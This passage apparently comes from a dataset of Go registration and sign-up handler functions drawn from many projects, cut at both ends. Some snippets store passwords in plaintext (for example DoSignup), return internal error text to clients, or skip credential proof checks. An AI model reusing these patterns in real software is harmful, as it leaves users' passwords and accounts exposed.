used!\\\"\\n\\t\\t}\\n\\t\\tif len(errMap) > 0 {\\n\\t\\t\\tuh.CSRF, _ = stringTools.GenerateRandomBytes(30)\\n\\t\\t\\ttoken, _ := stringTools.CSRFToken(uh.CSRF)\\n\\t\\t\\tinputContainer := InputContainer{Error: errMap, CSRF: token}\\n\\t\\t\\tuh.Temp.ExecuteTemplate(w, \\\"SignUp.html\\\", inputContainer)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\n\\t\\tif identification.TpFlag {\\n\\n\\t\\t\\tnewSession := uh.configSess()\\n\\t\\t\\tclaims := stringTools.Claims(email, newSession.Expires)\\n\\t\\t\\tsession.Create(claims, newSession, w)\\n\\t\\t\\t_, err := uh.SService.StoreSession(newSession)\\n\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\thttp.Error(w, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\n\\t\\t\\thttp.Redirect(w, r, \\\"/Dashboard\\\", http.StatusSeeOther)\\n\\t\\t}\\n\\n\\t\\tuh.Temp.ExecuteTemplate(w, \\\"CheckEmail.html\\\", nil)\\n\\t\\treturn\\n\\t}\\n}\",\n \"func Register(w http.ResponseWriter, r *http.Request) {\\n\\tt:= models.Users{}\\n\\n\\terr := json.NewDecoder(r.Body).Decode(&t)\\n\\n\\tif err != nil {\\n\\t\\thttp.Error(w, \\\"Error en los datos recibidos \\\"+err.Error(), 400)\\n\\t\\treturn\\n\\t}\\n\\tif len(t.Login) < 6 {\\n\\t\\thttp.Error(w, \\\"Error en los datos recibidos, ingrese un login mayor a 5 digitos \\\", 400)\\n\\t\\treturn\\n\\t}\\n\\tif len(t.Password) < 6 {\\n\\t\\thttp.Error(w, \\\"Ingrese una contraseña mayor a 5 digitos \\\", 400)\\n\\t\\treturn\\n\\t}\\n\\n\\t_, found, _ := bd.CheckUser(t.Login)\\n\\tif found == true {\\n\\t\\thttp.Error(w, \\\"Ya existe un usuario registrado con ese login\\\", 400)\\n\\t\\treturn\\n\\t}\\n\\n\\tif t.Id_role == 3 {\\n\\t\\tcod := bd.CodFamiliar(t.Cod_familiar)\\n\\t\\tif cod == false {\\n\\t\\t\\thttp.Error(w, \\\"Debe ingresar un codigo de familia correcto\\\", 400)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n\\n\\tif t.Id_role == 1 {\\n\\t\\thttp.Error(w, \\\"Usted no esta autorizado para crear este tipo de usuario\\\", 400)\\n\\t\\treturn\\n\\t}\\n\\n\\t_, status, err := bd.InsertRegister(t)\\n\\tif err != nil {\\n\\t\\thttp.Error(w, \\\"Ocurrió un error al intentar realizar el registro de usuario \\\"+err.Error(), 400)\\n\\t\\treturn\\n\\t}\\n\\n\\tif status == false {\\n\\t\\thttp.Error(w, \\\"No se ha logrado insertar el registro del usuario\\\", 400)\\n\\t\\treturn\\n\\t}\\n\\n\\tw.WriteHeader(http.StatusCreated)\\n}\",\n \"func (up Password) Save(ex db.Execer) error {\\n\\tstr := `\\n\\tINSERT INTO user_passwords\\n\\t(user_id, password)\\n\\tVALUES\\n\\t(:user_id, :password)\\n\\t`\\n\\t_, err := ex.NamedExec(str, &up)\\n\\treturn err\\n}\",\n \"func signup(res http.ResponseWriter, req *http.Request, _ httprouter.Params) {\\n\\tvar user map[string]string\\n\\n\\tdata, err := getBody(req)\\n\\tif err != nil {\\n\\t\\twriteJSON(res, 500, jsMap{\\\"status\\\": \\\"Server Error\\\"})\\n\\t\\treturn\\n\\t}\\n\\n\\tif err := json.Unmarshal(data, &user); err != nil {\\n\\t\\tlog.Println(\\\"signup:\\\", err)\\n\\t\\twriteJSON(res, 500, jsMap{\\\"status\\\": \\\"Server Error\\\"})\\n\\t\\treturn\\n\\t}\\n\\n\\tusername := user[\\\"username\\\"]\\n\\tpassword := user[\\\"password\\\"]\\n\\tif isRegistered(username) {\\n\\t\\twriteJSON(res, 400, jsMap{\\\"status\\\": \\\"Username taken\\\"})\\n\\t\\treturn\\n\\t}\\n\\n\\tv, err := srpEnv.Verifier([]byte(username), []byte(password))\\n\\tif err != nil {\\n\\t\\twriteJSON(res, 500, jsMap{\\\"status\\\": err.Error()})\\n\\t\\treturn\\n\\t}\\n\\n\\tih, verif := v.Encode()\\n\\tresp, _, err := sendRequest(\\\"POST\\\", walletURI, \\\"\\\")\\n\\tif err != nil {\\n\\t\\twriteJSON(res, 500, jsMap{\\\"status\\\": err.Error()})\\n\\t\\treturn\\n\\t}\\n\\n\\taddress := (*resp)[\\\"data\\\"].(string)\\n\\t_, err = db.Exec(`\\n\\t\\tINSERT INTO accounts (ih, verifier, username, address)\\n\\t\\tVALUES ($1, $2, $3, $4);`, ih, verif, username, address,\\n\\t)\\n\\n\\tif err != nil {\\n\\t\\twriteJSON(res, 500, jsMap{\\\"status\\\": err.Error()})\\n\\t} else {\\n\\t\\twriteJSON(res, 201, jsMap{\\\"status\\\": \\\"OK\\\"})\\n\\t}\\n}\",\n \"func (env *Env) Register(w http.ResponseWriter, r *http.Request) {\\n\\tdata := &RegisterRequest{}\\n\\tif err := render.Bind(r, data); err != nil {\\n\\t\\trender.Render(w, r, ErrInvalidRequest(err))\\n\\t\\treturn\\n\\t}\\n\\n\\tif !emailRegexp.MatchString(data.Email) {\\n\\t\\trender.Render(w, r, ErrRender(errors.New(\\\"invalid email\\\")))\\n\\t\\treturn\\n\\t}\\n\\n\\tpassword := data.User.Password\\n\\t_, err := env.userRepository.CreateNewUser(r.Context(), data.User)\\n\\tif err != nil {\\n\\t\\trender.Render(w, r, ErrRender(err))\\n\\t\\treturn\\n\\t}\\n\\n\\tdata.User.Password = password\\n\\ttokenString, err := loginLogic(r.Context(), env.userRepository, data.User)\\n\\tif err != nil {\\n\\t\\trender.Render(w, r, ErrUnauthorized(err))\\n\\t\\treturn\\n\\t}\\n\\n\\trender.JSON(w, r, tokenString)\\n}\",\n \"func (c *RegistrationController) Register(w http.ResponseWriter, r *http.Request) {\\n\\n\\t// parse the JSON coming from the client\\n\\tvar regRequest registrationRequest\\n\\tdecoder := json.NewDecoder(r.Body)\\n\\n\\t// check if the parsing succeeded\\n\\tif err := decoder.Decode(&regRequest); err != nil {\\n\\t\\tlog.Println(err)\\n\\t\\tc.Error500(w, err, \\\"Error decoding JSON\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\t// validate the data\\n\\tif err := regRequest.isValid(); err != nil {\\n\\t\\tlog.Println(err)\\n\\t\\tc.Error500(w, err, \\\"Invalid form data\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\t// register the user\\n\\taccount := regRequest.Email // use the user's email as a unique account\\n\\tuser, err := models.RegisterUser(account, regRequest.Organisation,\\n\\t\\tregRequest.Email, regRequest.Password, regRequest.First, regRequest.Last)\\n\\n\\tif err != nil {\\n\\t\\tlog.Printf(\\\"Error registering the user: %v\\\", err)\\n\\t\\tc.Error500(w, err, \\\"Error registering the user\\\")\\n\\t\\treturn\\n\\t} else {\\n\\t\\tc.JSON(&user, w, r)\\n\\t}\\n\\n\\t// Send email address confirmation link\\n\\tif err := sendVerificationEmail(user.ID); err != nil {\\n\\t\\tlog.Printf(\\\"Error sending verification email: %v\\\", err)\\n\\t\\tc.Error500(w, err, \\\"Error sending verification email\\\")\\n\\t}\\n\\n}\",\n \"func Register(c *gin.Context) {\\n\\tdb := c.MustGet(\\\"db\\\").(*gorm.DB)\\n\\n\\tvar input models.CreateUserInput\\n\\tif err := c.ShouldBindJSON(&input); err != nil {\\n\\t\\tc.JSON(http.StatusBadRequest, gin.H{\\\"error\\\": err.Error(), \\\"message\\\": \\\"signUp\\\", \\\"status\\\": false})\\n\\t\\treturn\\n\\t}\\n\\t//ensure unique\\n\\tvar user models.User\\n\\tif err := db.Where(\\\"email = ?\\\", input.Email).First(&user).Error; err == nil {\\n\\t\\tc.JSON(http.StatusBadRequest, gin.H{\\\"error\\\": \\\"Email Taken!\\\", \\\"message\\\": \\\"signUp\\\", \\\"status\\\": false})\\n\\t\\treturn\\n\\t}\\n\\t//create user\\n\\thashedPassword, _ := bcrypt.GenerateFromPassword([]byte(input.Password), bcrypt.DefaultCost)\\n\\thashPass := string(hashedPassword)\\n\\ttk := models.Token{Email: input.Email}\\n\\ttoken := jwt.NewWithClaims(jwt.GetSigningMethod(\\\"HS256\\\"), tk)\\n\\ttokenString, _ := token.SignedString([]byte(os.Getenv(\\\"token_password\\\")))\\n\\tuser2 := models.User{UserName: input.UserName, Email: input.Email, Password: hashPass, UserType: input.UserType, Token: tokenString}\\n\\tdb.Create(&user2)\\n\\tc.JSON(http.StatusOK, gin.H{\\\"user\\\": user2, \\\"message\\\": \\\"signUp\\\", \\\"status\\\": true})\\n}\",\n \"func (c *Credentials) Register(username, password string) {\\n\\tuser := EncryptUser(username, password)\\n\\tc.whitelist[user] = struct{}{}\\n}\",\n \"func (o *Command) SaveCredential(rw io.Writer, req io.Reader) command.Error {\\n\\trequest := &CredentialExt{}\\n\\n\\terr := json.NewDecoder(req).Decode(&request)\\n\\tif err != nil {\\n\\t\\tlogutil.LogInfo(logger, CommandName, SaveCredentialCommandMethod, \\\"request decode : \\\"+err.Error())\\n\\n\\t\\treturn command.NewValidationError(InvalidRequestErrorCode, fmt.Errorf(\\\"request decode : %w\\\", err))\\n\\t}\\n\\n\\tif request.Name == \\\"\\\" {\\n\\t\\tlogutil.LogDebug(logger, CommandName, SaveCredentialCommandMethod, errEmptyCredentialName)\\n\\t\\treturn command.NewValidationError(SaveCredentialErrorCode, fmt.Errorf(errEmptyCredentialName))\\n\\t}\\n\\n\\tvc, err := verifiable.ParseCredential([]byte(request.VerifiableCredential),\\n\\t\\tverifiable.WithDisabledProofCheck(),\\n\\t\\tverifiable.WithJSONLDDocumentLoader(o.documentLoader))\\n\\tif err != nil {\\n\\t\\tlogutil.LogError(logger, CommandName, SaveCredentialCommandMethod, \\\"parse vc : \\\"+err.Error())\\n\\n\\t\\treturn command.NewValidationError(SaveCredentialErrorCode, fmt.Errorf(\\\"parse vc : %w\\\", err))\\n\\t}\\n\\n\\terr = o.verifiableStore.SaveCredential(request.Name, vc)\\n\\tif err != nil {\\n\\t\\tlogutil.LogError(logger, CommandName, SaveCredentialCommandMethod, \\\"save vc : \\\"+err.Error())\\n\\n\\t\\treturn command.NewValidationError(SaveCredentialErrorCode, fmt.Errorf(\\\"save vc : %w\\\", err))\\n\\t}\\n\\n\\tcommand.WriteNillableResponse(rw, nil, logger)\\n\\n\\tlogutil.LogDebug(logger, CommandName, SaveCredentialCommandMethod, \\\"success\\\")\\n\\n\\treturn nil\\n}\",\n \"func RegisterUser(rw http.ResponseWriter, r *http.Request, enc encoding.Encoder) string {\\n\\tvar err error\\n\\tvar user customer.CustomerUser\\n\\tuser.Name = r.FormValue(\\\"name\\\")\\n\\tuser.Email = r.FormValue(\\\"email\\\")\\n\\tuser.CustomerID, _ = strconv.Atoi(r.FormValue(\\\"customerID\\\"))\\n\\t// user.Active, _ = strconv.ParseBool(r.FormValue(\\\"isActive\\\"))\\n\\tuser.Location.Id, _ = strconv.Atoi(r.FormValue(\\\"locationID\\\"))\\n\\tuser.Sudo, _ = strconv.ParseBool(r.FormValue(\\\"isSudo\\\"))\\n\\tuser.CustID, _ = strconv.Atoi(r.FormValue(\\\"cust_ID\\\"))\\n\\tuser.NotCustomer, _ = strconv.ParseBool(r.FormValue(\\\"notCustomer\\\"))\\n\\tuser.Current = user.NotCustomer\\n\\tuser.Active = true // forcing active status\\n\\n\\tgenPass := r.FormValue(\\\"generatePass\\\")\\n\\tpass := r.FormValue(\\\"pass\\\")\\n\\taccountNumber := r.FormValue(\\\"account_ID\\\")\\n\\tblnGenPass := false\\n\\tif genPass == \\\"true\\\" {\\n\\t\\tblnGenPass = true\\n\\t}\\n\\n\\tif user.Email == \\\"\\\" || (pass == \\\"\\\" && !blnGenPass) {\\n\\t\\terr = errors.New(\\\"Email and password are required.\\\")\\n\\t\\tapierror.GenerateError(\\\"Email and password are required\\\", err, rw, r)\\n\\t\\treturn \\\"\\\"\\n\\t}\\n\\n\\tif blnGenPass {\\n\\t\\tuser.Password = encryption.GeneratePassword()\\n\\t} else {\\n\\t\\tuser.Password = pass\\n\\t}\\n\\n\\tuser.OldCustomerID = user.CustomerID\\n\\tif accountNumber != \\\"\\\" { // Account Number is optional\\n\\t\\t// fetch the customerID from the account number\\n\\t\\tvar cust customer.Customer\\n\\t\\terr = cust.GetCustomerIdsFromAccountNumber(accountNumber)\\n\\t\\tif cust.Id == 0 || err != nil {\\n\\t\\t\\tif err == nil {\\n\\t\\t\\t\\terr = errors.New(\\\"Account Number is not associated to any customer\\\")\\n\\t\\t\\t}\\n\\t\\t\\tapierror.GenerateError(\\\"Invalid Account Number:\\\", err, rw, r)\\n\\t\\t\\treturn \\\"\\\"\\n\\t\\t}\\n\\t\\tuser.OldCustomerID = cust.CustomerId\\n\\t\\tuser.CustomerID = cust.Id\\n\\t\\tuser.CustID = cust.Id\\n\\t}\\n\\n\\t//check for existence of user\\n\\terr = user.FindByEmail()\\n\\tif err == nil {\\n\\t\\tapierror.GenerateError(\\\"A user with that email address already exists.\\\", err, rw, r)\\n\\t\\treturn \\\"\\\"\\n\\t}\\n\\terr = nil\\n\\n\\tuser.Brands, err = brand.GetUserBrands(user.CustID)\\n\\tif err != nil {\\n\\t\\tapierror.GenerateError(\\\"Trouble getting user brands.\\\", err, rw, r)\\n\\t\\treturn \\\"\\\"\\n\\t}\\n\\tvar brandIds []int\\n\\tfor _, brand := range user.Brands {\\n\\t\\tif brand.ID == 1 || brand.ID == 3 || brand.ID == 4 {\\n\\t\\t\\tbrandIds = append(brandIds, brand.ID)\\n\\t\\t}\\n\\t}\\n\\n\\tif err = user.Create(brandIds); err != nil {\\n\\t\\tapierror.GenerateError(\\\"Trouble registering new customer user\\\", err, rw, r)\\n\\t\\treturn \\\"\\\"\\n\\t}\\n\\n\\t//email\\n\\tif err = user.SendRegistrationEmail(); err != nil {\\n\\t\\tapierror.GenerateError(\\\"Trouble emailing new customer user\\\", err, rw, r)\\n\\t\\treturn \\\"\\\"\\n\\t}\\n\\n\\tif err = user.SendRegistrationRequestEmail(); err != nil {\\n\\t\\tapierror.GenerateError(\\\"Trouble emailing webdevelopment regarding new customer user\\\", err, rw, r)\\n\\t\\treturn \\\"\\\"\\n\\t}\\n\\n\\treturn encoding.Must(enc.Encode(user))\\n}\",\n \"func (u *UserHandler) Register(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\\n\\tvar registerReq domain.RegisterRequest\\n\\terr := json.NewDecoder(r.Body).Decode(&registerReq)\\n\\tif err != nil {\\n\\t\\tlog.Warnf(\\\"Error decode user body when register : %s\\\", err)\\n\\t\\thttp.Error(w, err.Error(), http.StatusBadRequest)\\n\\t\\treturn\\n\\t}\\n\\terrors := u.Validator.Validate(registerReq)\\n\\tif errors != nil {\\n\\t\\tlog.Warnf(\\\"Error validate register : %s\\\", err)\\n\\t\\tw.WriteHeader(http.StatusBadRequest)\\n\\t\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\t\\tjson.NewEncoder(w).Encode(errors)\\n\\t\\treturn\\n\\t}\\n\\tuser := domain.User{\\n\\t\\tName: registerReq.Name,\\n\\t\\tEmail: registerReq.Email,\\n\\t\\tPassword: registerReq.Password,\\n\\t}\\n\\terr = u.UserSerivce.Register(r.Context(), &user)\\n\\tif err != nil {\\n\\t\\tlog.Warnf(\\\"Error register user : %s\\\", err)\\n\\t\\thttp.Error(w, err.Error(), http.StatusBadRequest)\\n\\t\\treturn\\n\\t}\\n\\tresponse := SuccessResponse{\\n\\t\\tMessage: \\\"Success Register User\\\",\\n\\t}\\n\\tw.Header().Set(\\\"Content-Type\\\", \\\"application/json\\\")\\n\\tjson.NewEncoder(w).Encode(response)\\n\\treturn\\n}\",\n \"func DoSignup(w http.ResponseWriter, r *http.Request) {\\n\\tr.ParseForm()\\n\\tvKey := make([]byte, 32)\\n\\tn, err := rand.Read(vKey)\\n\\tif n != len(vKey) || err != nil {\\n\\t\\tlog.Println(\\\"Could not successfully read from the system CSPRNG.\\\")\\n\\t}\\n\\tvalidationKey := hex.EncodeToString(vKey)\\n\\tlog.Println(len(validationKey))\\n\\tstmt, _ := db.Prepare(\\\"insert into signup(username, email, password, validationKey) values(?,?,?,?)\\\")\\n\\t_, err = stmt.Exec(r.FormValue(\\\"username\\\"), r.FormValue(\\\"email\\\"), r.FormValue(\\\"password\\\"), validationKey)\\n\\tif err != nil {\\n\\t\\t// if a validation requests already exists resend email\\n\\t\\tif strings.Contains(err.Error(), \\\"1062\\\") {\\n\\t\\t\\tlog.Println(\\\"1062 error\\\")\\n\\t\\t\\tstmt, _ := db.Prepare(\\\"select validationKey from signup where username=?\\\")\\n\\t\\t\\tres := stmt.QueryRow(r.FormValue(\\\"username\\\"))\\n\\t\\t\\tres.Scan(&validationKey)\\n\\t\\t\\tsendVerification(r.FormValue(\\\"email\\\"), validationKey)\\n\\t\\t\\thttp.Redirect(w, r, r.URL.Host+\\\"/resendValidation\\\", 302)\\n\\t\\t} else {\\n\\t\\t\\tlog.Print(\\\"Error creating signup record\\\")\\n\\t\\t\\tlog.Println(err)\\n\\t\\t}\\n\\t} else {\\n\\t\\tsendVerification(r.FormValue(\\\"email\\\"), validationKey)\\n\\t\\thttp.Redirect(w, r, r.URL.Host+\\\"/validationSent\\\", 302)\\n\\t}\\n}\",\n \"func UserRegisterPost(w http.ResponseWriter, r *http.Request) {\\n\\t// Get session\\n\\tsess := session.Instance(r)\\n\\n\\t// Prevent brute force login attempts by not hitting MySQL and pretending like it was invalid :-)\\n\\tif sess.Values[\\\"register_attempt\\\"] != nil && sess.Values[\\\"register_attempt\\\"].(int) >= 5 {\\n\\t\\tlog.Println(\\\"Brute force register prevented\\\")\\n\\t\\thttp.Redirect(w, r, \\\"/not_found\\\", http.StatusFound)\\n\\t\\treturn\\n\\t}\\n\\n\\tbody, readErr := ioutil.ReadAll(r.Body)\\n\\tif readErr != nil {\\n\\t\\tlog.Println(readErr)\\n\\t\\tReturnError(w, readErr)\\n\\t\\treturn\\n\\t}\\n\\n\\tvar regResp webpojo.UserCreateResp\\n\\tif len(body) == 0 {\\n\\t\\tlog.Println(\\\"Empty json payload\\\")\\n\\t\\tRecordRegisterAttempt(sess)\\n\\t\\tsess.Save(r, w)\\n\\t\\tregResp = webpojo.UserCreateResp{constants.StatusCode_400, constants.Msg_400}\\n\\t\\tbs, err := json.Marshal(regResp)\\n\\t\\tif err != nil {\\n\\t\\t\\tReturnError(w, err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tfmt.Fprint(w, string(bs))\\n\\t\\treturn\\n\\t}\\n\\n\\t//log.Println(\\\"r.Body\\\", string(body))\\n\\tregReq := webpojo.UserCreateReq{}\\n\\tjsonErr := json.Unmarshal(body, &regReq)\\n\\tif jsonErr != nil {\\n\\t\\tlog.Println(jsonErr)\\n\\t\\tReturnError(w, jsonErr)\\n\\t\\treturn\\n\\t}\\n\\tlog.Println(regReq.Email)\\n\\n\\t// Validate with required fields\\n\\tif validate, _ := validateRegisterInfo(r, &regReq, constants.DefaultRole); !validate {\\n\\t\\tlog.Println(\\\"Invalid reg request! Missing field\\\")\\n\\t\\tRecordRegisterAttempt(sess)\\n\\t\\tsess.Save(r, w)\\n\\t\\tregResp = webpojo.UserCreateResp{constants.StatusCode_400, constants.Msg_400}\\n\\t\\tbs, err := json.Marshal(regResp)\\n\\t\\tif err != nil {\\n\\t\\t\\tReturnError(w, err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tfmt.Fprint(w, string(bs))\\n\\t\\treturn\\n\\t}\\n\\n\\tpassword, errp := passhash.HashString(regReq.Password)\\n\\n\\t// If password hashing failed\\n\\tif errp != nil {\\n\\t\\tlog.Println(errp)\\n\\t\\tRecordRegisterAttempt(sess)\\n\\t\\tsess.Save(r, w)\\n\\t\\tregResp = webpojo.UserCreateResp{constants.StatusCode_500, constants.Msg_500}\\n\\t\\tbs, err := json.Marshal(regResp)\\n\\t\\tif err != nil {\\n\\t\\t\\tReturnError(w, err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tfmt.Fprint(w, string(bs))\\n\\t\\treturn\\n\\t}\\n\\n\\t// Get database result\\n\\t_, err := model.UserByEmail(regReq.Email)\\n\\n\\tif err == model.ErrNoResult { // If success (no user exists with that email)\\n\\t\\tex := model.UserCreate(regReq.FirstName, regReq.LastName, regReq.Email, password)\\n\\t\\t// Will only error if there is a problem with the query\\n\\t\\tif ex != nil {\\n\\t\\t\\tlog.Println(ex)\\n\\t\\t\\tRecordRegisterAttempt(sess)\\n\\t\\t\\tsess.Save(r, w)\\n\\t\\t\\tregResp = webpojo.UserCreateResp{constants.StatusCode_500, constants.Msg_500}\\n\\t\\t\\tbs, err := json.Marshal(regResp)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tReturnError(w, err)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t\\tfmt.Fprint(w, string(bs))\\n\\t\\t} else {\\n\\t\\t\\tlog.Println(\\\"Account created successfully for: \\\" + regReq.Email)\\n\\t\\t\\tRecordRegisterAttempt(sess)\\n\\t\\t\\tsess.Save(r, w)\\n\\t\\t\\tregResp = webpojo.UserCreateResp{constants.StatusCode_200, constants.Msg_200}\\n\\t\\t\\tbs, err := json.Marshal(regResp)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tReturnError(w, err)\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t\\tfmt.Fprint(w, string(bs))\\n\\t\\t}\\n\\t} else if err != nil { // Catch all other errors\\n\\t\\tlog.Println(err)\\n\\t\\tRecordRegisterAttempt(sess)\\n\\t\\tsess.Save(r, w)\\n\\t\\tregResp = webpojo.UserCreateResp{constants.StatusCode_500, constants.Msg_500}\\n\\t\\tbs, err := json.Marshal(regResp)\\n\\t\\tif err != nil {\\n\\t\\t\\tReturnError(w, err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tfmt.Fprint(w, string(bs))\\n\\t} else { // Else the user already exists\\n\\t\\tlog.Println(\\\"User already existed!!!\\\")\\n\\t\\tRecordRegisterAttempt(sess)\\n\\t\\tsess.Save(r, w)\\n\\t\\tregResp = webpojo.UserCreateResp{constants.StatusCode_400, constants.Msg_400}\\n\\t\\tbs, err := json.Marshal(regResp)\\n\\t\\tif err != nil {\\n\\t\\t\\tReturnError(w, err)\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tfmt.Fprint(w, string(bs))\\n\\t}\\n}\",\n \"func (u *UserService) Register(ctx context.Context, in *userpbgw.RegisterRequest) (*userpbgw.Response, error) {\\n\\tisExisted, err := user.CheckExistingEmail(in.Email)\\n\\tif err != nil {\\n\\t\\treturn &userpbgw.Response{\\n\\t\\t\\tError: 2222,\\n\\t\\t\\tMessage: fmt.Sprintf(\\\"Error: %s\\\", err),\\n\\t\\t}, nil\\n\\t}\\n\\tif isExisted {\\n\\t\\treturn &userpbgw.Response{\\n\\t\\t\\tError: 2222,\\n\\t\\t\\tMessage: \\\"Given email is existing\\\",\\n\\t\\t}, nil\\n\\t}\\n\\tnewuser := user.User{\\n\\t\\tFullname: in.Fullname,\\n\\t\\tEmail: in.Email,\\n\\t\\tPassword: in.Password,\\n\\t}\\n\\terr = user.Insert(&newuser)\\n\\tif err != nil {\\n\\t\\treturn &userpbgw.Response{\\n\\t\\t\\tError: 2222,\\n\\t\\t\\tMessage: \\\"Register Error\\\",\\n\\t\\t}, nil\\n\\t}\\n\\treturn &userpbgw.Response{\\n\\t\\tError: 0,\\n\\t\\tMessage: \\\"Register Sucessfull\\\",\\n\\t}, nil\\n}\",\n \"func (h *Handler) Register(w http.ResponseWriter, r *http.Request) {\\n\\n\\tvar d UserCreateRequest\\n\\tif err := json.NewDecoder(r.Body).Decode(&d); err != nil {\\n\\t\\trender.BadRequest(w, r, \\\"invalid json string\\\")\\n\\t\\treturn\\n\\t}\\n\\tuser, err := h.Client.User.Create().\\n\\t\\tSetEmail(d.Email).\\n\\t\\tSetName(d.Name).\\n\\t\\tSetPassword(d.Password).\\n\\t\\tSave(r.Context())\\n\\tif err != nil {\\n\\t\\tfmt.Printf(\\\"%v\\\", err.Error())\\n\\t\\trender.InternalServerError(w, r, \\\"Failed to register the user\\\")\\n\\t\\treturn\\n\\t}\\n\\tfmt.Println(\\\"User registered successfully\\\")\\n\\trender.OK(w, r, user)\\n}\",\n \"func (model *registerRequest) validateRegisterRequest(w http.ResponseWriter, r *http.Request, ctx context.Context) error {\\n\\t// TODO: Fix this so that it does a case insensitive search\\n\\texistingUser, err := db.GetUserByUsername(ctx, model.Username)\\n\\tif err == nil || existingUser != nil {\\n\\t\\tapi.DefaultError(w, r, http.StatusUnauthorized, \\\"The username is already in use. Please try again.\\\")\\n\\t\\treturn fmt.Errorf(\\\"username was already in use\\\")\\n\\t}\\n\\n\\t// TODO: Fix this so that it does a case insensitive search\\n\\texistingUser, err = db.GetUserByEmail(ctx, model.Email)\\n\\tif err == nil || existingUser != nil {\\n\\t\\tapi.DefaultError(w, r, http.StatusUnauthorized, \\\"The email is already in use. Please try again.\\\")\\n\\t\\treturn fmt.Errorf(\\\"email was already in use\\\")\\n\\t}\\n\\n\\terr = validateUsername(w, r, model.Username)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\terr = validatePassword(w, r, model.Password)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\terr = validateNickname(w, r, model.Nickname)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tfmt.Println(existingUser)\\n\\treturn nil\\n}\",\n \"func (h *auth) Register(c echo.Context) error {\\n\\t// Filter params\\n\\tvar params service.RegisterParams\\n\\tif err := c.Bind(&params); err != nil {\\n\\t\\treturn c.JSON(http.StatusUnauthorized, sferror.New(\\\"Could not get user's params.\\\"))\\n\\t}\\n\\tparams.UserAgent = c.Request().UserAgent()\\n\\tparams.Session = currentSession(c)\\n\\n\\tif params.Email == \\\"\\\" {\\n\\t\\treturn c.JSON(http.StatusUnauthorized, sferror.New(\\\"No email provided.\\\"))\\n\\t}\\n\\tif params.RegistrationPassword == \\\"\\\" {\\n\\t\\treturn c.JSON(http.StatusUnauthorized, sferror.New(\\\"No password provided.\\\"))\\n\\t}\\n\\tif params.PasswordNonce == \\\"\\\" {\\n\\t\\treturn c.JSON(http.StatusUnauthorized, sferror.New(\\\"No nonce provided.\\\"))\\n\\t}\\n\\tif libsf.VersionLesser(libsf.APIVersion20200115, params.APIVersion) && params.PasswordCost <= 0 {\\n\\t\\treturn c.JSON(http.StatusUnauthorized, sferror.New(\\\"No password cost provided.\\\"))\\n\\t}\\n\\n\\tservice := service.NewUser(h.db, h.sessions, params.APIVersion)\\n\\tregister, err := service.Register(params)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn c.JSON(http.StatusOK, register)\\n}\",\n \"func doRegisterUser (w http.ResponseWriter, r *http.Request ) {\\n\\tusername := r.FormValue(\\\"username\\\")\\n\\temail := r.FormValue(\\\"email\\\")\\n\\tpassword := r.FormValue(\\\"password\\\")\\n\\tconfirm := r.FormValue(\\\"confirm\\\")\\n\\n\\t// validate everything\\n\\tif len(username) < 6 {\\n\\t\\thttp.Error(w, \\\"username too short\\\", http.StatusBadRequest)\\n\\t\\treturn\\n\\t}\\n\\tif len(password) < 6 {\\n\\t\\thttp.Error(w, \\\"password too short\\\", http.StatusBadRequest)\\n\\t\\treturn\\n\\t}\\n\\tif password != confirm {\\n\\t\\thttp.Error(w, \\\"password doesn't match\\\", http.StatusBadRequest)\\n\\t\\treturn\\n\\t}\\n\\n\\t// go ahead and create the user\\n\\tpwBytes, bErr := bcrypt.GenerateFromPassword([]byte(password), 14)\\n\\tif bErr != nil {\\n\\t\\thttp.Error(w, bErr.Error(), http.StatusBadRequest)\\n\\t\\treturn\\n\\t}\\n\\tpwHash := string(pwBytes)\\n\\t// registering a free account\\n\\tu, cErr := CreateNewUser(r, username, pwHash, email, 0, \\\"free\\\")\\n\\tif cErr != nil {\\n\\t\\tif (cErr.Code == ERR_ACCOUNT_ALREADY_EXISTS) {\\n\\t\\t\\tlogger.StdLogger.LOG(logger.INFO, webber.GetCorrelationId(r), fmt.Sprintf(\\\"Attempt to create existing username: %s\\\", username), nil)\\n\\t\\t\\thttp.Error(w, cErr.Code, http.StatusBadRequest)\\n\\t\\t} else {\\n\\t\\t\\tlogger.StdLogger.LOG(logger.ERROR, webber.GetCorrelationId(r), fmt.Sprintf(\\\"Error creating user: %s : %s\\\", username, cErr.Error()), nil)\\n\\t\\t\\thttp.Error(w, cErr.Code, http.StatusInternalServerError)\\n\\t\\t}\\n\\t\\treturn\\n\\t}\\n\\n\\t// okay, everything worked, create a session\\n\\tsessionData := UserSessionData{Username:u.Username}\\n\\t_, err := webber.MakeSession(w, sessionData);\\n\\tif err != nil {\\n\\t\\tlogger.StdLogger.LOG(logger.ERROR, \\\"\\\", fmt.Sprintf(\\\"unable to create session: %s\\\", err.Error()), nil)\\n\\t\\thttp.Error(w, \\\"Please Log in\\\", http.StatusUnauthorized)\\n\\t}\\n\\twebber.ReturnJson(w,u)\\n\\treturn\\t\\t\\n\\n}\",\n \"func HandleUserRegister(context *gin.Context) {\\n\\n\\tuserAcc := context.PostForm(\\\"user_acc\\\")\\n\\tuserAvatar := context.PostForm(\\\"user_avatar\\\")\\n\\tuserNickName := context.PostForm(\\\"user_nick_name\\\")\\n\\tuserPassword := context.PostForm(\\\"user_password\\\")\\n\\tuserPhone := 